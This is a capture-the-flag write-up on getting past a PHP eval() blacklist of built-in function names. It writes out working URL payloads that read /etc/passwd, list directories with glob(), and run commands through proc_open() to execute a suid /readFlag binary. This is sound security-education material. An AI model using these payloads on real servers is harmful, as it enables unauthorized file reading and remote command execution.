Tags: php rce

Rating: 5.0

## 1. Background & Setup

The objective of this challenge is to leverage eval() in PHP to gain code execution while bypassing a blacklist.

From reading the source code provided, we see that the page accepts two GET parameters: input and thisfile.

In order to reach the eval() code path, we can set thisfile to be an existing directory name (isfile() will evaluate to false, and file_exists() will evaluate to true).

input is what we wish to run in the eval() statement, but it must pass the blacklist check first. The blacklist itself is a list of all internal (i.e. built-in) function names (get_defined_functions()['internal']).

More about ways to bypass the blacklist in a bit, but for now we can try /?input=echo(1);&thisfile=/etc and observe that it works (prints 1 onto the page)

## 2. LFD
### 2.1 Listing files

The blacklist prevents us from using any internal functions⁽¹⁾ directly, but we can solve this problem with a couple of tricks.

First, we can nest the commands we wish to execute inside another eval(), and since eval() takes in a string as an argument, we can split the command into several strings, and concatenate them.

For example, the string phpinfo is disallowed, but we can use eval("php"."info();"); as our input to call phpinfo().

However, the list of blacklisted function names also contains an underscore⁽²⁾, so we need to replace any underscores in our payload with something else. The easiest way is to use a directory name for thisfile which contains an underscore, and reference it through $thisfille[*index of underscore*]. Alternatively, you can also prepend $lol=eval('return ch'.'r(0x5f);'); to your input, and replace any underscores with $lol. Combining these two tricks, we can use highlight_file() to read arbitrary files:  /?input=eval("highlight".$thisfille[8]."fil"."e('/etc/passwd');");&thisfile=/lib/x86_64-linux-gnu

php
Equivalent to: highlight_file('/etc/passwd');


Searching through the usual places however (flag,flag.txt,flag.php,/flag,…), we are unable to find the flag. Therefore, we turn to listing directories.

### 2.2 Listing directories

Normally, we'd accomplish this using scandir(), but it didn't work in this case.

Upon closer inspection of the phpinfo dump, we find that the following functions have been disabled:




...which includes scandir(). This means we cannot run any of these functions, regardless of whether we can bypass the blacklist.

However, glob() is not disabled, and so we can use the following⁽³⁾:


/?input=eval('print'.$thisfille[8].'r(glo'.'b(\'/*\'));');&thisfile=/lib/x86_64-linux-gnu   Equivalent to: print_r(glob('/*'));  which yields:  Array ( [0] => /bin [1] => /boot [2] => /dev [3] => /etc [4] => /flag [5] => /home [6] => /initrd.img [7] => /initrd.img.old [8] => /lib [9] => /lib64 [10] => /lost+found [11] => /media [12] => /mnt [13] => /opt [14] => /proc [15] => /readFlag [16] => /root [17] => /run [18] => /sbin [19] => /snap [20] => /srv [21] => /sys [22] => /tmp [23] => /usr [24] => /var [25] => /vmlinuz [26] => /vmlinuz.old )  We see that the /flag file does indeed exist, even though we could not read it before. We also see that there is a /readFlag file which we cannot display the contents of either, but we can assume that this is a binary (perhaps a suid binary) that we can run to print out the contents of /flag. This is the reason the flavourtext hinted at getting a shell – we need to execute OS commands in order solve this challenge. ## 3. OS Command Injection Going back to the list of disabled functions, we see that nearly all functions that we can use to execute code have been disabled. However, they left one function enabled which allows us to execute commands: proc_open(). It's not pretty, but we can use it like this to run /readFlag  /?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return%20proc'.$thisfille[8].'open("/readFlag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

php
Equivalent to:
$descr = array( 0 => array( 'pipe', 'r' ) , 1 => array( 'pipe', 'w' ) , 2 => array( 'pipe', 'w' ) );$pxpes = array();
$process = proc_open("/readFlag",$descr, $pxpes); echo (fgets($pxpes[1]));

Output:

FLAG: inctf{That-w4s-fun-bypassing-php-waf:SpyD3r}


## Appendix
To prove our earlier hypothesis that /readFlag is a suid binary, we can run:

/?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return%20proc'.$thisfille[8].'open("ls%20-l%20/readFlag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu  Output:  -r-s--x--x 1 root ubuntu 8728 Sep 20 08:00 /readFlag  Observe that the suid bit has been set. And the flag is only readable by root:  /?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return proc'.$thisfille[8].'open("ls -l /flag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

Output:

-r-------- 1 root root 45 Sep 20 08:00 /flag

_____
#### Footnotes
1. echo is a language construct, not a function, which is why the internal function blacklist did not catch it in the first example
2. In PHP, _() is an alias for gettext()
3. readdir() and opendir() are also available, but less convenient to use since readdir() must be called once for each line of output